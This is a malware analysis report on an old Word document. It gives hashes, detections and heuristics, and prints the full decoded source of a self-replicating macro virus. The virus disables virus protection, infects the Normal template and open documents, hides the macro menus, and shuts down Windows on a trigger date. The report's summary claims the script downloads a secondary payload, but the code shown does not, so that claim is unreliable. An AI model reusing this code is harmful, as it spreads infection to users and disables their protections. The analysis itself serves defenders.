Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fb96ed139fdae10…

MALICIOUS

Office (OLE)

38.5 KB Created: 2000-02-25 09:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f669eddffe3fc07960cd8dcec1ae2fac SHA-1: 8df2478cdd8c2eee57e0c06ac7a3542a66a4a777 SHA-256: 4fb96ed139fdae10bb90d584df7800f9d3d56fb3ec587424d44286de479c9fdb
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, with the AutoOpen macro being a critical indicator of malicious intent. The script attempts to export itself to 'c:\ffastun.drv', suggesting it's designed to download and execute a secondary payload. The ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Stun-1' further support its malicious nature, though a specific family could not be confidently identified.

Heuristics 4

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3906 bytes
SHA-256: 659e372ce3932381a3f4b6ccee4b9d4d6360b1d782ce731482d243fa5a138718
Detection
ClamAV: Doc.Trojan.Stun-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ffastun"
Sub AutoExec()
    On Error Resume Next
    WordBasic.DisableAutoMacros 0
    ActiveDocument.ReadOnlyRecommended = False
    With Application
        .EnableCancelKey = wdCancelDisabled
        .DisplayAlerts = wdAlertsNone
    End With
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    Call AutoOpen
End Sub
Sub AutoOpen()
    On Error Resume Next
    If (Day(Now()) = 22 And Month(Now()) = 2) Then
        Call TimeToPay
    Else
        Call MyStealthRoutine
        Call InfectTheFile
    End If
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call InfectTheFile
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Private Sub InfectTheFile()
Dim ModInDoc As Object
Dim NormTemp As Object
Dim ActDocInfected, NormInfected As Boolean
Dim i As Integer
    On Error Resume Next
    NormInfected = False
    ActDocInfected = False
    With NormalTemplate.VBProject
    For i = 1 To .VBComponents.Count
        If .VBComponents(i).Name = "ffastun" Then
            Application.NormalTemplate.VBProject.VBComponents("ffastun").Export "c:\ffastun.drv"
            NormInfected = True
        End If
    Next i
    End With
    With ActiveDocument.VBProject
    For i = 1 To .VBComponents.Count
        If .VBComponents(i).Name = "ffastun" Then
            ActDocInfected = True
            Application.ActiveDocument.VBProject.VBComponents("ffastun").Export "c:\ffastun.drv"
        End If
    Next i
    End With
    If NormInfected = False Then
        NormalTemplate.VBProject.VBComponents.Import "c:\ffastun.drv"
        Call MyStealthRoutine
        NormalTemplate.Save
    End If
    If ActDocInfected = False Then
        ActiveDocument.VBProject.VBComponents.Import "c:\ffastun.drv"
        Call MyStealthRoutine
        ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
    End If
End Sub
Public Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call InfectTheFile
End Sub
Private Sub TimeToPay()
        On Error Resume Next
        Dim i As Integer
        Application.EnableCancelKey = wdCancelDisabled
        MsgBox "Illegal function in modul 0xCB15C001", 32
        Tasks.ExitWindows
End Sub
Sub FilePrint()
    On Error Resume Next
    If Day(Now()) = 22 And Month(Now()) = 7 Then
        Dim message$
        message$ = "Microsuck Windows - How Do You Want To Crash Today?" & Chr(13)
        message$ = message$ & " -= Don't Get Mad With Me, Get UNIX =- "
        With ActiveDocument.Sections(1)
            .Headers(wdHeaderFooterPrimary).Range.Text = message$
            Dialogs(wdDialogFilePrint).Show
            .Headers(wdHeaderFooterPrimary).Range.Text = ""
        End With
    Else
        Application.PrintOut
    End If
End Sub
Private Sub MyStealthRoutine()
    On Error Resume Next
        With Application
            'Spanish Version
            .CommandBars("Tools").Controls("Plantillas y complementos...").Delete
            .CommandBars("Tools").Controls("Macro").Delete
            .CommandBars("Format").Controls("Estilo...").Delete
            'English Version
            .CommandBars("Tools").Controls("Macro").Delete
            .CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
            .CommandBars("Format").Controls("Style...").Delete
        End With
End Sub
Private Sub mPrinText(txt As String)
    On Error Resume Next
    ActiveDocument.Sections(1).Range.InsertAfter txt '& Chr(10) & Chr(13)
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.